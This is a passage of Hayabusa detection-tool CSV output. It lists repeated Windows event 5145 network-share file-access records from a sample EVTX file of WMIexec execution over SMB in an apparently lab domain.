: IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.842 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S0f8e494c#\c59f97903ad4de423586f3a75eb8939d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.858 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S1bc92e04# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.858 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S1bc92e04#\f6f9e39cc765b7ceda89fc7893e0f74c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.858 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S8ca2c749# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.858 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S8ca2c749#\7ddbc8b883fb594b4efd9f4b016a4657 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.858 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S54faafb0# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.873 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S54faafb0#\54486a01e573ae88df2c9fc21771e5ef : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.873 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S356e1ba0# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.873 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S356e1ba0#\29e4fb69d6e2ff119c3e89fe9f23ea71 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.873 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S88747207# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.873 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S88747207#\e998cb40c6a3657a6090a653616ee0d2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.873 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Sa56e3556# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.873 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Sa56e3556#\2da102d7caf13b4e082aabda839cabfd : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Sb6a1f1bc# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Sb6a1f1bc#\05a925477e72821ff9fa9527061d8527 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.T9d753d8c# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.T9d753d8c#\9543db50e278526c3ba397cf5c7862cb : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Te49ad7d9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Te49ad7d9#\1834f24e507a831c635b80067fc7a428 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Te3736ca4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Te3736ca4#\f98240dfe778b4b39045d17817485b8a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ud0e65fb9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ud0e65fb9#\bb434af0d1c0846eba8f3fc7986a5cdc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\b59fee046dfa048ec5f5180dc88f835d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V4381984f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V4381984f#\07b01287acdaf4ef356c3918db535afd : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Vb0a86591# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Vb0a86591#\a45750f13b28bdd0fb2adff38d6cd46f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Vf4833439# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Vf4833439#\fdcc95e5c05a2fec4f9c33b7e325ccd8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.VisualC : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.VisualC\999abcb4ea322b606c8f211d12ccb5a0 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W0bb5dac4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W0bb5dac4#\f5bca9052007da4e51412dc152a52942 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.937 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W2bac6884# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.937 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W2bac6884#\26a1a0abca839c13b1337a076531d7a2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.937 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W2d29a719# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.937 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W2d29a719#\d0b3dad21720f265098f1e94984349f8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.937 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W2d6979e4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.937 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W2d6979e4#\3e37b5062bf0419283b3384af5deb445 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.937 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W2ded559f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.937 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W2ded559f#\7d512c9625a371ff23fac5628a0e68f9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.953 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W3cdb5602# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.953 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W3cdb5602#\6423a4306ce0876f0093a7f421bb7e5a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W6c95e797# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W6c95e797#\8780975ab811e02b5246582c27ea6cda : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W6dcfceb1# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W6dcfceb1#\64783b930c916ed9a5041885582dd1f1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W7b7c0837# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W7b7c0837#\fa70f9411efd4c4e624a68d30b61b1b7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.984 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W9e7db7c5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.984 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W9e7db7c5#\129a7094f09543b72571da3208c88188 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.984 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W9e8926d3# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.984 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W9e8926d3#\86d7c67af3a964bb8d312cffb20064f4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.984 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W15cd0137# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.984 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.W15cd0137#\37435834252683aa469b56ff5b1fa582 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via 